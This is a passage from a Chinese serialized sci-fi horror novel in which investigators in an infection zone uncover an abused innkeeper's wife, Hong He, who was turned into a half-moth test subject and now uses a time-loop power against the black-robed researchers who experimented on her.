实验药剂所附赠的巨款被老板全部赔光,整间旅馆变卖之后的余钱也被他挥霍殆尽。
“你不是有钱吗?听说是你老婆给的钱,不是说支持你的事业,所以才不远万里来到这儿,盘下了这间旅馆。但是你也知道,旅馆这种东西早就赚不了钱了,想在流浪区里搞一把大的,就必须得豁出去!”
“你也知道,想要脱离流浪区而拥有进入10区主城的资格的话,那可不是一笔小数目!”
“我有个亲戚,最近拿到了途径,你知道,咱们要不是兄弟,我根本不可能给你介绍!”
“你别不信,这种机会普通人他求都求不来!上区的尾货啊!你知道多值钱吗!那些人造了扔,扔了造的,咱们就是捡破烂儿,也比守着那个工厂赚!”
“怎么?有兴趣了?尾货机械内脏啊!这东西,虽然路子野但可是真赚钱!下区有多少人生了病换不起器官的!这些东西被我们拿到了,稍微一改装,卖给黑医馆,一本万利!”
“这可是积德的活儿,我跟你说,你那个旅馆趁早关了吧,听兄弟我一句劝,这一把就看你赌不赌了!”
“想通了?我跟你说,这第一笔钱运货的钱就不是个小
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数目,从那些执勤军手里掏出东西来,必须打点的仔仔细细,明明白白,一个都不能漏了!”
“有数字了,我亲戚说了,第一趟货,五十万姆拉。”
“我不是故意不接你电话,你钱都给我了,我还能亏待你啊!这笔钱可是你救命的钱啊,苦了弟妹了,过几天货到了,我立马联系你!”
“喂!喂!买个信号好点儿的通讯仪啊!我这头风大,听不见啊!喂!”
“嘟嘟嘟嘟嘟嘟。”
嘟嘟嘟嘟——
嘟嘟嘟——
嘟——
电话挂断,蒙尘的前台桌面里只剩下老板一个人,他手里捏着仅剩的一个钢镚儿,浑浊的双眼瞧了一眼厨房,他面无表情地拨下另一个电话。
“喂,还能给我一笔钱吗?我妻子的身体,随你们实验,即使死了也没关系,反正她现在都已经不是人了,你们既然开始了,就得做到有始有终!把一滩怪物放在这里,我还怎么开店!”
电话那头许久地沉默开。
“喂!能听见吗!最开始给我药剂和针管的那个人呢,我要和他通话!”
“你想要多少钱?”
老板瘫倒在椅子上,听到“钱”字后,他瞬间呼出一口气,头顶的天花板已经生了许久的蛾子,死不了,赶不走,一直一直盘踞在这里,真的是!
太烦了!
“我要五十万。”
电话挂断,老板靠在椅背上,电视黑漆漆的方块屏幕中映出他的身影,他眼皮恹恹地垂着,木着一张脸,听着厨房内传来的窸窸窣窣声。
被吵得烦了,他就拿起手边的棍子来,掀开重重叠叠的帘子,莽到拥挤狭小的厨房内。
这里,因为某种东西的存在,只能够容纳一个人站立。
厨房水槽里的黄水溢了出来,菜板发了厚重的霉菌,一碗碗大米饭摞在旁边,飞蛾钻在里面啃食着,抹布胡乱堆叠,挂在墙上,揉在地上,这里已经很久没人收拾过了。
地上扔着几十个空针筒,已经被完全使用。
影像模糊处,一个看不清形状的东西背对门口,躲在角落,高领上衣已经被撑到爆裂,而那东西的半张脸,已经变成了蛾子模样。
“红荷?”
“红荷。”奚渚确认道。
她松开抱着电视的双臂,影像中,那个老板在最后十分疑惑地喊了一声红荷的名字。
大概的情况奚渚已经全部了解,整间旅馆都是活着的,她没有想到她只是出来一会儿,就发生了这么多事情。
而且,还有这台电视带过来的最重要的情况,那些敌人竟然提前设局,将埋伏设在了旅馆内,企图在这里截杀奚渚,而白央现在正处于敌人的控制之下。
奚渚不禁疑惑,“那么论坛里的发帖人呢?是否和这些人有关系?”
丝柏凌曾经说过,论坛内的所有发帖者都是匿名用户,无法查出任何人的具体身份,如果敌人也藏匿于其中,想从论坛找到线索无异于是大海捞针。
浓雾中,之前凑在奚渚身边的假白央已经消失了行踪。
回忆着假白央的奇怪举动,再加上电视给出的情报,不难猜出感染物就是红荷。
而且红荷也是那群黑袍人选中的实验品。
如此一来,某些线索就可以被串联起来,从百年前HPP重工起家开始,它就在下区的很多秘密地点进行某种测试和实验,而随着实验成果的完成,那些不能搬迁和移动的实验地被全部废弃,由此,HPP重工转向了人工药剂实验。
开始寻找“完美”的实验者。
这种办法不仅隐蔽性高,而且还能长时间观测实验体处在正常情况下的各类数值,几乎是最为完美的办法。
选人标准大概也是从“流浪区”开始,那些被迫迁移的人们,他们需要钱,需要食物,需要一切,是最好最优秀的实验品。
奚渚摸了摸电视的脑袋,断裂的屏幕上立刻出现像素笑脸。
“带我去旅馆附近,我们去找白央。”奚渚说。
还差最后一些东西没有搞懂,那就是孵化。
按照电视上保存下来的影像来看,旅馆的每一次孵化都会生出过去的一切事物,不论是电视,还是红荷。
那么,如此多的电视被黑压压摆在草垛子之下。
而那么多的红荷究竟又去了哪里?
替她和白央带路的红荷就是中年阶段的她,那时候,她已经穿上了高领上衣,为了遮挡某些痕迹。
而那一对情侣大概率就是初来此地的红荷二人,这下就解释通为什么那对情侣也要前往旅馆,他们的目的是为了盘下店面。
如此一来,几人中只剩下老奶奶的身份成谜,而且奚渚记得很清楚,从上悬车开始,对方就已经在车内坐着了。
老奶奶手上的毛线钩针,大概率也是某种预示。
如果说学校中的第一批实验者被称作失败的话,那么监狱那次显然也不能称为成功,如果红荷这批实验者可以脱离感染区而在外部环境中自由活动的话,显然,这项药剂实验取得了巨大的成功。
那么是否意味着,感染物可以自由行走在人类之中,而不被任何高科技技术所发现。
HPP重工,黑袍人,实验者,感染物。
这些东西渐渐形成一个神秘的圆,这个圆内,奚渚不知为什么被视为了眼中钉,从而引得某些人对她赶尽杀绝,而在另一股力量背后,她却被好好的保护了下来,活到了现在,还加入了7组,从而走上了调查之路。
一切都很复杂,奚渚按下脑海里涌动的思绪,专注现在最首要的任务。
电视朝反方向转身,奚渚跟在她身后,心中的疑惑只增不减,“如果我是那些敌人,我会怎么办?”
奚渚边走边思考,“一定会假扮成白央,来接近自己。但是,刚才那个假白央又是谁呢?”
她回头望向浓雾远方,一个答案渐渐浮现在心头,“红荷,如果真的是你的话,你究竟想带我去哪里呢?”
***
一人一方块走了很久,奚渚发现她们两个只是一直在原地打转。
不管是直行,还是拐弯,周围的景色都没有任何变化。
即使是细微之处,也看不出任何区别。
浓雾没有消散的迹象,如果这也是某一个敌人的能力,那么这片雾一定不可能轻易将奚渚出去。
这片浓雾的开始时机是在几人进入旅馆之前,这也十分符合敌人的布局。
如果是奚渚的话,也一定会这么干,将能力隐藏融合在本就诡异的旅馆任务中,同时随着伪装成自然现象不断接近奚渚。
那些雾漩一定有很大的问题。
它们刚才是害怕奚渚会做出什么奇怪的举动,所以才会紧紧跟着她。
按照常理来说,旅馆周围全部都是稀稀拉拉的流浪棚子,那么理应还有其他住户存在。
但在这一片浓雾中,奚渚感受不到任何活人的气息。
红荷假扮的白央将奚渚引到了浓雾中,难道是为了告诉她浓雾之中才有路?
电视移动着笨拙的身体,它的速度也越来越快,明明就是从这个方向来的,但是现在却好似鬼打墙一样,一直在绕着某处不断兜圈子。
奚渚掏出匕首,在距离她最近的一个木桩上刻了一个十字。
迷失在浓雾中,也就等于迷失在感染区中。
浓雾粗粝的味道掩盖了其他一切味道,同时不知道什么原因,奚渚的脑内感知系统明显弱化了很多。
大概率是因为在对付悬车上的感染物时消耗过多,她只能竭尽全力缓解平复大脑的一切波动。
前进方向已经被全部打乱,整片土地正以某种规律变化瞬间变化着。
但是,奚渚和电视并没有停下脚步,她们依旧在迷雾中反复转圈。
“一定有什么线索被忽略了。”奚渚的面前出现了一个木桩,木桩上,刻着新鲜的十字。
由此一来,第一个规律被奚渚在反复兜圈中推断出来。
“不是她在移动,而是整个迷雾在她周围置换。”
每经过一处木桩,奚渚总会停下来重新抚摸一遍。
在几十次重复地抚摸后,奚渚的手搭在木头上,她的眼睛突然亮了。
她反手握起匕首,装作无事发生继续向前走。
果然,下一个木桩,近在眼前。
奚渚默默站过去,依照习惯摸了一下十字,随后,在谁都没有反应过来的瞬间,她以一股惊人的力量,突然朝反方向冲去。
整片迷雾被她冲开一条巨大的缝隙,深不见底的沟-壑中,奚渚的背影越来越远!
电视紧随其后,紧紧跟随着奚渚的脚步。
在跑出一段距离后,奚渚回头看了一眼,在距离原地足够遥远的地方停下,她环视四周,没有任何木桩。
一切奇怪之处在于木桩上的刻痕。
随着奚渚不断兜圈,她发现木桩的排列呈现出一种规律。
那就是每逢奚渚心中倒数60秒,木桩会以道具的形式不断出现,以此来加强奚渚心中“迷路”的推测。
可是,问题就藏在细节之处。
奚渚在拿匕首在刻十字时,她总会在最后一下稍微用一点力。
而在木桩之上,十字刻痕有深有浅,这种深浅区别十分微弱。
如果在一个人高度紧张的情况之下,这种细小的差别根本不会被人注意到。
但是,奚渚非常相信她的力度,在不断抚摸中,她确定后来反复出现的木桩不是出自她之手。
那么就只能证明,有人一直跟在奚渚身后,这人躲在暗处,且极大可能拥有复制物品和空间置换的异能。
***
周围发生了变化,看来是敌人已经察觉到了异常,不再打算采用“迷路”这一伎俩。
奚渚放轻了脚步,她尝试调动感知,波动起伏十分平缓,看来就和打游戏一样,某种技能过度使用之后,就会产生冷却时间。
她敲了敲电视,示意直接调转方向,朝另一侧前进。
一些破旧的屋子透过浓雾出现在奚渚面前,她想了想,还是决定进去。
在屋内动手,一定快过在外面。
屋子不高,破破烂烂,歪斜在几十根晾衣杆外,吱呀一声,奚渚推门而入。
她立刻环视一圈,将电视率先摆在了一个破柜子上,“你呆在这里安全,毕竟是本地人。”
电视露出笑脸,表示同意。
奚渚安排好一切,踩着老旧的木梯,向二楼蜿蜒上行。
二楼某个房间内,有一个狭窄的夹层。
奚渚猫着腰,趴在狭小的空间内,在这个角度,可以看到门外,更可以看到楼梯口。
几分钟后,开门声响起。
熟悉的衣服进入奚渚的视线,楼梯口,“白央”正在朝上张望。
对方大大咧咧地进来,似乎完全没有要隐藏的想法,白央的一身装束渐渐消散,黑袍重新出现。
奚渚看不清对方的脸,可以说,因为这身黑袍,她感受不到任何波动。
依稀之中,奚渚捕捉到了一个分外熟悉的嗓音。
楼下,黑袍人正在不知道给谁汇报着。
“就在这儿,被发现了,我会解决的。”
——“都说了别直接在半空打!现在好了,落到这里还得找!直接在目的地解决不就好了,非得专门跑一趟!害我喝酒的时间都少了啊!“
这个嗓音,如此熟悉的语气和恼火的语调!
分明是那些曾经在出现在17区表面铁山外的其中一个人!
那群人,难道就是这些黑袍人吗?
奚渚强-制自己回过神来,借着瞄准镜,她朝楼梯口瞥了一眼。
镜头中,黑袍人消失不见了。
楼道内简直静到可怕。
38.孵化幸福旅馆(七)
“快结束了。”
错综复杂的街道角落口,有一个人站在那里,她时不时抬头,朝远处张望着。
她不慌不忙,也绝非遮掩躲藏,她靠在陈旧的木头墙上,眼神波澜不惊,像是正在等待即将要发生的某种结局。
一层层伪装的菱粉被撕下来,人影显现出原本的真实模样,她脊背轻微拱起,双臂双手过分修长,身体的大部分已经没了人形,半张脸上满是皱纹,另半张脸却不像人类的模样。
在相当远的某个位置,红荷可以听到旅馆轰隆隆的蠕动声,自内部开始,像是饿肚子一样将所有东西融合再重新孵化的声音。
她太熟悉了。
旅馆那头呆着两个黑袍人,以及目前无法逃脱的白央。
一分钟后,白央就会因为不肯配合回答黑袍人的问题而被喂给旅馆导致死亡。
而在几百米外的另一间屋子里,呆着另一个拥有置换空间异能的黑袍人,以及躲在阁楼夹层的奚渚。
三分钟后,奚渚会因为过度注意楼下而忽视狭窄的阁楼黑暗处,被黑袍人钻了空子,让对方利用空间置换直接将奚渚杀死在阁楼。
五分钟后,白央的尸体将完全融化在旅馆内部,被无数个“翘首以盼”的招财猫碎片所吸食,变成另一头重新被孵化出来的崭新的无头招财猫。
七分钟后,阁楼内的黑袍人会将奚渚的尸体拖出来,但却发现尸体竟然被那把猎枪卡住了。
九分钟后,旅馆会停止一切活动,孵化结束,所有事物将重新归位,红灯笼最先亮起,“幸福”二字被照得明明灭灭,蛾子继续绕着钨丝灯飞,门被重新反锁,蒙尘的前台有了被衣袖胡乱擦过的痕迹。前台后,无头招财猫将重新归位。寂静的食堂内会孵出几只奇怪的人形蛾子,原本沉寂的狭小厨房重新传出生锈水龙头的嘀嗒声,水声将洗刷一切,哗啦哗啦。
哗啦哗啦。
新的循环将再次开始。
十一分钟后,三个黑袍人将聚到奚渚尸体旁边,她们会一寸一寸地仔细判断奚渚是否真的死了,并且她们立刻察觉到红荷正在接近。
十三分钟后,黑袍人会在门口遇到一个老人。
半人半蛾的模样,手里拿着不知道从什么地方搞的劣质组装枪,一脸不怕死的站在三人面前,仅保留下来的那只人类眼睛透出一股决绝之意。
黑袍人仅仅只是惊讶了一会儿,在料想到老人的真实身份后,语气反倒透露出一丝惊讶,“实验体?”
红荷挡在三人面前,她对中间那名黑袍人十分熟悉,漠然的音调和威逼利诱的语气,就是她,将第一针药剂送到了这里。
“我记得你叫红荷。”黑袍人十分自来熟超前地迈了一步,“真是不好意思,自从实验开始之后,这好像是咱们第一次正式见面,没想到是在这种环境之下。如果你是想叙旧的话,不如过几天,来一趟实验室,在那里我们可以仔仔细细地聊一聊。这么多年,真是没想到你已经将蛾体融合了,竟然还可以脱离感染区自由行动。”
红荷没有说话,她表情严肃紧绷,紧紧盯着三个黑袍人的动作。
“不要紧张,你是一只优秀的实验体,拥有智慧的你,应该能看来现在并不是叙旧的好时机,但是鉴于你拿着一把武器,我理应详细地问清楚。”黑袍人持续逼近红荷,她俯视着那只破损的枪口,就像看一只孱弱的可以随时捏死的蚂蚁一样,“你拿着这把枪,是想解决我吗?”
红荷紧张地吞了一口口水,她脸上的皱纹和肌肉不自觉地颤-抖着。
“为什么要害怕呢,你既然选择站到我面前,就代表你已经有了赴死的觉悟,既然可以接受死亡,那为什么你那只人类的眼睛还酝酿着别的火苗。”黑袍人饶有兴致地观察着红荷,正如她在实验的前几年间时时刻刻观察记录红荷一样。
“说起来,你的攻击性一直不强,虽然被划分到了C级,但似乎是一头非常温顺的实验体,在实验早期,你并没有展现出任何别致的能力,就连那个男人持续的暴力,你也一直忍耐了下去,似乎一切都无法使你动怒。直到现在,我也依然很好奇,在我离开的那一个小时内,究竟是什么东西让你有了动手的契机,将那个罪魁祸首撕成了无数枚碎片。”
红荷的眼睛跟着黑袍人的身影而移动着。
“而你又是怎么变成这个样子的?红荷,是你的什么能力吗?让你老了如此之多。”黑袍人移动到了红荷身后,“如果是这样的话,你能告诉我你的能力是什么吗?好让我填补上某些记录的空缺。”
红荷扭过头,她的脑袋只剩下了几缕干瘪的毛发,嘴巴也因为蛾化的撕扯而张不开嘴,她竭力地张大口型,看起来表达欲十分旺盛。
黑袍人笑了一声,温柔地凑近。
红荷的嘴巴张张合合,喉间沙哑的声音断断续续响起。
“不着急,慢慢来。”黑袍人温柔至极,像是引导一个刚出生的孩子。
“区..区..区......”
“我在听。”黑袍人又凑近了几分。
“去死。”
“原来是这样,真是让人伤心。”黑袍人挺直身体,“我还以为你学会了什么有趣的打招呼方式。”
“去死。”
“不过,还是很高兴见到你,红荷,毕竟这样的机会少之又少。”黑袍人转身离开,她的声音幽幽响起,“利用了你的感染区干了一些事情,希望你大度一些,也希望我们不要再见面了。”
“去死。”
周围的浓雾开始紧缩,红荷双目欲裂,盯着为首的那一个黑袍人,她毫不在意周围的一切。
雾漩诡异凝结,聚成一个巨大的黑白漩涡,另一个黑袍人手指一挥,漩涡中瞬间刺出一柄长箭。
长箭出雾,猛地射穿了红荷的身体。
嗵!
红荷跪倒在地,她没有流出任何血,甚至全身都没有任何多余的伤口。
无数雾箭分散扭曲,在她体内激荡,她紧攥双手,感受着那股撕裂她的痛楚。
黑袍人了结了红荷,接下来她们就会离开这里。
红荷趴在地上,双眼猩红,她咬紧牙关,盯着那三个人的身影越来越远,“不可以,不可以,她们必须被留在这里。”
巨大的痛苦让她阵阵嘶鸣,像是虫子临死前最后的挣扎,一双残破的蛾翅突然从她半边身体上张开,连带整个背部的皮肉都被掀起来,“一定要在这里杀了她们!不可以让她们出去!绝不可以!”
黑袍人似是察觉到了虫子的嘶鸣,她停下了步伐,随意地朝后瞥了一眼,“只不过是一只没用的蛾子罢了。”
那双露着细白骨头的翅膀不断扑腾着,红荷计算着自己的死亡时间,她在五脏六腑破碎的痛苦中缓慢闭上了双眼,余光中,她能瞥到二楼的阁楼上。
湿滑的东西自眼角流出,红荷的眼皮翕动着。
她扭过头望向奚渚,望到她昏沉的双眼深处,两个尸体正在对视。
某种愤怒让她想要大喊,想要大叫!
“区..区..区......”
“去死!”
“去死!”
“去死!”
嘭!
红荷看到自己的半个脑袋被踩烂了。
鞋底之下,乱糟糟一团。
踩到稀巴烂,踩到绝对无法复原的程度。
嘭!
红荷看到那些雾箭再次袭来,朝着她残破的身体一寸寸袭来。
刺进来,刺到更深处。
皮肤是太浅的,骨头是不够的,五脏六腑是没用的,最好是每一寸,每一毫米,都被痛苦占满,让意识完全剥离,让大脑只剩模糊,让眼泪没有流出来的任何可能,让想活的思绪燃尽。
最好一击致
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命。
最好完全斩碎。
最好!
最好!
最好这一秒就死!
红荷笑了,仅剩的半个嘴角抽搐地向上弯折。
“只有死了,才能继续活下去。”
***
血管似乎被人在轻柔的包扎,电视突然活了过来。
它好像被谁搬了下来,正在朝门外移动,破碎的屏幕中,映出一动不动的几个人影。
黑色的袍子固定在视野中,她们的身后,还有一滩可观的血迹。
浓雾不再流动,时间仿佛被停止,一切都如此安静,它的屏幕左右摇动,是身后搬她的人步伐不稳。
屏幕上,出现了一个像素哭脸。
血管被轻柔地抚摸,似乎是在告诉电视不用担心。
身体的伤口在愈合,红荷每走一步都伴随着难以忍受的痛苦,就好像整个人正在重新孵化,皮肤会不断黏在一起,直到再大的步伐都扯不开,碎了的翅膀会再生,重新贴合到脊背上,裸-露的半个蛾化脑袋会重新长回来,只不过现在仍然摇摇欲坠。
因此,现在红荷的视线有些模糊和晃悠。
她腾出一双手来,将飘出去的眼珠子重新推回眼眶中,上下撑了撑眼皮,眼珠被重新卡回去。
“看得清了。”
她将电视搬到那些草垛子下,重新掩埋好,再次沿着原路返回。
沉重的步伐拖在楼梯上,红荷率先将猎枪抽出来一小截,这是奚渚教给她的办法,对方说如果尸体被卡住了,一定要先抽出去再往回推,这样就能完全移动搬离。
红荷将奚渚的尸体拽下来,驮到了刚刚愈合好的背上,她一步步朝另一个地方移动。
时间的停滞并不是永久的,而是以红荷的死亡为代价,为下一次轮回做准备。
破体残躯的红荷,就像是游离在时间线之外的东西。
奚渚的尸体被她驮到了很远的地方,她曾经在某几次轮回中问过奚渚,“你为什么愿意帮我杀那些黑袍人,即使你会不断死亡。”
红荷回忆着,每次奚渚都会简单地回答一句,“因为这是我选择的任务,所以既然开始了,我就必须将她结束掉。”
红荷不理解,而奚渚每次也都不会作过多的解释,她总是保持着疏离的态度,每次总会问一个相同的问题,“按照你的说法,只要有一个选择出现不同,那么整个轮回的结果就会不同,所以我们才可以不断试错对吗?”
“没错,将所有错误的选择拨正,直到完成真正的目标。”
红荷掀开上锁的角落小屋,屋内,堆满了奚渚的尸体,密密麻麻,死状各式各样。
但这不是真的,奚渚明白,所以每次都会做出选择,即使她每次都不记得上一次发生过的事。而红荷也明白,所以她才会担负起移动尸体做好一切轮回工作的职责。
只要在某一次中成功杀掉黑袍人,那么整个轮回就会完全结束。
这是奚渚的选择,更是红荷的选择。
将这份【拨正轮回】交给奚渚的承诺。
透过一面蒙尘的镜子,红荷看到了她的脸,比之前更要苍老,她的生命正在不断流失,这就是轮回的剧烈代价。
使用的越多越频繁,就会死的越快。
直到一切都在某一点上无限重合。
“大概是最后一次轮回了,奚渚,谢谢你,不管结局是什么,你都会活下去。”红荷重新将门锁上,屋内,无数双死人的眼睛正透过越来越稀薄的迷雾而盯着远处。
“到了。”流浪区外,白央环视一圈,向站在不远处发呆的奚渚问道,“怎么了?”
悬车开始晃晃悠悠地掉头,车灯啪一下照在奚渚身上,她在刺眼的顶光中,揉了揉眼睛。
“看错了吗?”她喃喃自语,“为什么好像看到了无数双眼睛正在盯着我。”
39.孵化幸福旅馆(八)
【拨正轮回】:以唯一结局为目标,能力发动后可在抵达真正结局前进行无限次轮回拨正。轮回次数越多,轮回即视感越强,生命消耗越多,以自身血肉为结局孵化器,无数选择之下,灵魂将通往唯一的安息之路。
***
奚渚觉得眼前的一切都有种莫名的熟悉感,但具体是哪里,她却一时间说不上来。
身前身后仍旧相伴着几个陌生人。
一个中年领路人,一对胆小的情侣和一个思绪游离的老奶奶。
几人表情都有一丝奇怪的僵硬。
依旧是无数晾衣杆横斜的流浪地界,依旧是远处看不清模样的光屁-股小孩儿正在大喊,依旧是不知道为什么分外熟悉的语气与对话,领路人侃侃而谈之后,奚渚瞬间有了脱口而出的欲-望。
“这些小孩没人管,父母都在厂里上班,他们就喜欢到处乱窜。”奚渚遥望着那些矮小的黑影,一边走一边伸手拽住了前面的白央,她在红荷的一脸惊讶中指着前面的拐角,“我们会在那儿拐弯。”
白央默契地停下步伐,脱口而出,“接下来会起大雾。”
二人对视一眼,诡异的氛围开始酝酿,不知道是疑心作祟,还是周围真的扭曲开来,原本还能看清长相的领路人突然开始僵化,整个人像是被上了发条般细微的抽搐着。
白央伸出手拦在奚渚身前,不仅仅是引路人,二人周围的小情侣也不正常起来,一顿一顿,一卡一卡,面前的一切变成了某种劣质影像,自双脚开始过渡,无数细碎的像素图案笼罩在了那几人身上。
“怎么回事儿?”奚渚背靠白央,她正盯着那个半截身子变成了像素模型的老奶奶。
奇怪的劣质像素人模,让奚渚回忆起了老旧商场中蒙尘的试衣模特,它们没有脸没有身份,只存在着一个空壳身体。
明明刚才还可以跟她们正常交流,到底是为什么?
“模型?”奚渚说:“刚才一定出现了什么突发-情况,从而导致这些人变成了这幅模样。一触发就损毁,倒像是碰到某些关键词就立刻崩坏的东西。”
“突发-情况?如果这么说的话,刚才唯一奇怪的事情就是你抢先说出了引路人应该说的话。”白央分析道:“如果现在的情况是因为我们抢答了某些‘台词’的话,那么只能说明你我二人都有的既视感不是假的,如果再大胆一些,是否可以推断这或许是感染物的能力。”
奚渚沉吟片刻,白央说的有道理。
一个人出现本不应该有的既视感确实很奇怪,那么当两个人都同样拥有了某些既视感时,那这一定就不是巧合了。
“第一个问题,这些既视感的作用是什么?”白央的机械手伸到了其中一个像素人偶身上,她的整只手直接穿了过去,拥有实体的形状,但却像泡沫一样虚幻,“如果是为了解决我们,对方根本无需做这些动作,掩藏气息才是最好的选择。那么只剩下第二种可能,那就是对方做这些不是为了杀我们,而是为了让我们通过既视感预知危险,从而达成某些目标。”
奚渚有些惊讶地抬起头来,她和白央现在是第二次出任务,在上一次学校任务中,白央扮演的角色是监管者,大部分情况需要奚渚进行单独决断。
但是,这次的旅馆任务是二人共同选择的,白央并不打算隐藏任何想法,而且这些推断与奚渚的想法不谋而合。
“第二。”奚渚继续理顺思维,“既然这些人都是某种像素影像变出来的模型,那么这些模型又是谁搞的?所以我认为感染区内至少存在两种能力,而且或许更多。”
奚渚脑内的感知十分微弱,她无法判断感染物是否和自己一样同时拥有多种异能,所以只能以最普遍的结论来推测,尽可能地全面分析道,“四人中的其中三个在悬车上就跟你和我有了接触,当时她们的表现一切正常,而另一个引路人则是下车之后才碰到的。四人均是被提前设定好的,但是那头催眠感染物并没有任何奇怪的反应,如果它们是一伙儿的,即使隐瞒身份,也一定会在某些细微之处串通一气,但是悬车全程,那只催眠感染物对车上其他人都没有任何反应。”
白央点了点头,
“所以,是否可以推断车上那头和这里的感染物不是一伙的。”奚渚缓缓开口,“当然,一切都只是推测,想要确定真正的答案,就必须......”
奚渚伸出一只手,指着远处,周围正如白央所说,已经起了浓雾,凡是所有能远望到的破旧建筑都被统统蒙在了一片灰暗中,整个世界都氤氲成了一副寂静的影像。
“找到目的地。”白央接过奚渚的话音,简单得出二人现在首先需要做的事情。
奚渚脱口而出,“前边拐弯之后,只要按着那条路笔直地走下去就好。”
白央转身,轻笑了一声,“既视感?”
奚渚挑挑眉,“没错,既视感。”
“好,沿着这条路笔直地前进。”白央说:“而且我总觉得这次不要分头行动比较好。”
浓雾围将而来,整个流浪区已经丢失了方向,完全分不清来路与去路的二人,在能见度不到三米的浓雾中按照某种直觉朝着深处进发,四个像素模型被她们丢在身后,不到几秒,一切都消失不见了。
或许是一股不该出现的想法,也或许是不该脱口而出的“台词”,即使是如此细微的不同选择,也会造成巨大的蝴蝶效应。
在浓雾中迷失方向的二人,正在新的轮回线上有条不紊地行进着。
***
旅馆周围。
红荷活动了一下全身的关节,右腿似乎并没有恢复到最好的状态。
她浑浊的双眼朝下瞥了一眼,几乎没有任何犹豫地直接掰断了右腿。
如果旧的不好用,只需要再孵化出新的就好了。
一双崭新的昆虫腿被立刻孵化出来,肌肉虬结,上面布满了一根根尖刺的毛须。
不论是人类的半边身体,还是感染物的半边身体,都已经恢复的差不多了,那些被孵化出来的像素模型的气息已经完全消失,红荷不觉得有什么奇怪之处。
因为那些模型都是她自己。
被孵化出来的过去的一个个自己。
一个人怎么可能对过去的自己陌生呢?
奚渚一定察觉到了异常,她们的下一个目标一定是旅馆,距离她们找到旅馆应该还有三十分钟的时间。
红荷盯着距离她仅有三米的硕大旅馆,深深吐-出一口气。
轰隆!
一幢两层楼之高的旅馆被囫囵抬起,十分轻松地扛到了红荷肩膀上。
人类的半身因为无法支撑如此强的重量,正在频繁抽搐,整个左腿陷进了地里,但感染物的半身却可以挺立起来,直接承担掉大部分重量,轻易地将这座楼扛起来。
一步一步,缓慢且决绝的步伐,红荷沉默地迈向幸福旅馆应该存在的角落。
五分钟,就能扛过去。红荷心中正在默默倒数,黑袍人仍然僵硬在远处,等一切都准备好了的时候,她们才会作为真正的主角粉末登场。
没有既视感,没有抽离感,黑袍人将瞬间回到她们最开始出现的位置,一切就好像被按下了倒放键,在劣质的黑白影像中重新开始。
“你说对吧,老朋友。”红荷的声音仿佛磨砂纸,沙哑到了极致。
方块电视从旅馆内部蹦出来,崭新的它被重新孵化,漆黑的屏幕盯着苍老的红荷,一串串像素自角落开始集中。
一个笑的更加灿烂的笑脸出现。
“再次见到我你很高兴啊,电视。”红荷的声音一卡一卡的,她说的很不流利。
电视的屏幕映出了红荷,它立刻转头,映出了另一个一直跟在最后的落寞身影。
红荷停下脚步,“招财,好久不见。”
无头招财猫愣了一下,它顿时手足无措起来,电视走到它身边,露出笑脸。
招财猫立刻放松下来,它一双稳固的手臂将电视扛到身上,紧赶慢赶立刻追上了红荷。
“不要自责,你吸收了白央,自然就想要一直接近她,但是这一次不妨换一种方式来告诉她二楼的线索。”红荷慢慢道,招财一直接近白央不是为了别的,而是为了告诉她二楼有人正在埋伏,目的单纯,但大概是用力过猛。
她看了一圈老朋友们,也是,毕竟它们都多长时间没有接触过活人了,就连最起码的打招呼也容易变成大惊吓。
“只有这一次机会了,最后一次,我一定要杀了她。”红荷的声音不大,但她周围那些奇怪的活物却全听进去了。
它们沉默不语,一时间气氛落寞开来。
“只要献祭的够多,轮回拨正的能力
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将越强,只有这样,一切不合理的东西才会被淡化,所有的角色都将朝着唯一的结局前进,被轮回拨正能力标记了的目标物才会万无一失的死在这里!”红荷喃喃自语,她等这一天很久了,久到她开始麻木开始频频出现幻觉。
无数个她被孵化出来,她一开始以为自己疯了。
那些蛾子一只只的变成了过去的她,那些和她长得一模一样的人,空有一副壳子,做着某些刻板动作,时间一到,它们就会消失。
“我那时候是这个样子吗?真年轻。”
“那是刚来流浪区的我,当时竟然还想要给那个蛀虫男人做贤妻良母。”
“开店了,那时候我力大如牛,别人常常笑话我,说我没有女人模样,我心里总是嗤之以鼻,力气大多好啊,简直是超能力,可以天不怕地不怕......”
“换成高领上衣了,你很疼吧?那些伤疤。”
“多吃点啊!为什么不还手,你的大力气呢,红荷,要对着打你的人使出来啊。”
“好憔悴的你,裹着围裙,躲在厨房。”
“一根长长的麻绳,挂在那里,你正在比划着,红荷,要苟延残喘地活下去啊。”
“你的脸怎么了?那时候好像被重物打了,红荷,要赶快找到绷带,在电视旁边,要赶快找到包扎好。”
“密密麻麻的针管洒落在地,你已经没了任何力气,你察觉到每天都有人在观察记录你了,对吧红荷。”
“你的模样开始变形,半个身体奇怪地扭曲着,你突然意识到那个男人已经很久不曾现身,但那些黑袍人却如影随形。”
“你成了任人宰割的实验品,那些人还在不断加大剂量,你能察觉到她们很失望,似乎是如此庞大的剂量之下,你竟然还是那么平平无奇,简直是浪费。”
无数个过去的自己被同时孵化出来,简直就像走马灯出现在现实世界,红荷往往会盯着“自己们”看一天一-夜,彻夜不眠,她仔细体会着过去的每一个动作,每一句闲话,每一次呼吸。
如果能和过去无助的自己感同身受,如果能在别的时空重新走一遍过去,那么是否在另外一条时间线上她会不那么孤单,不那么孤立无援,不那么想死。
电视活了,招财猫活了,旅馆活了,红荷周围的一切都活了。
老朋友们齐聚一堂,过去不曾有的美好和幸福被重新复刻,她可以不断拨正过去的一切,红荷恍然大悟,这是她的能力,是那些黑袍人渴望的能力。
那些黑袍人早已消失不见,她们不想浪费心思在一个孵化不出果实的失败实验品身上。
但是,红荷却想要找到那些人。
但她没有任何线索,于是只能不断轮回到她变成感染物的那段日子,即使头发掉光牙齿脱落也不重要,即使身体在持续衰老也无所谓。
一帧一帧,一秒一秒,红荷通过一切蛛丝马迹判断着她们的行踪。
直到红荷踏出旅馆的瞬间,她才惊觉原来困住她一辈子的小小旅馆,竟然只需要轻轻地向前迈一步就可以解脱。
她告别了电视,招财和屋子,告别这些奇怪的活物,告诉它们她会去找到那些将她变成这幅样子的人,或许会很久,或许她会死在外面,但这一切都值得。
她终于找到了继续活下去的意义,不为任何人,只为自己心中那团汹汹燃烧的烈火。
活着的旅馆被红荷放置到原位,招财猫重新站到前台后,三四个电视坐落到各个角落,蛾子们回归原位,水滴声渐渐消失,一切都安静下来,像是电影开拍前的寂静。
那扇破损的旅馆门被缓缓阖上,透过缝隙,男老板的影像出现在前台,红荷双目沉静,她转身朝不远处走去,接下来是她的选择,她的轮回。
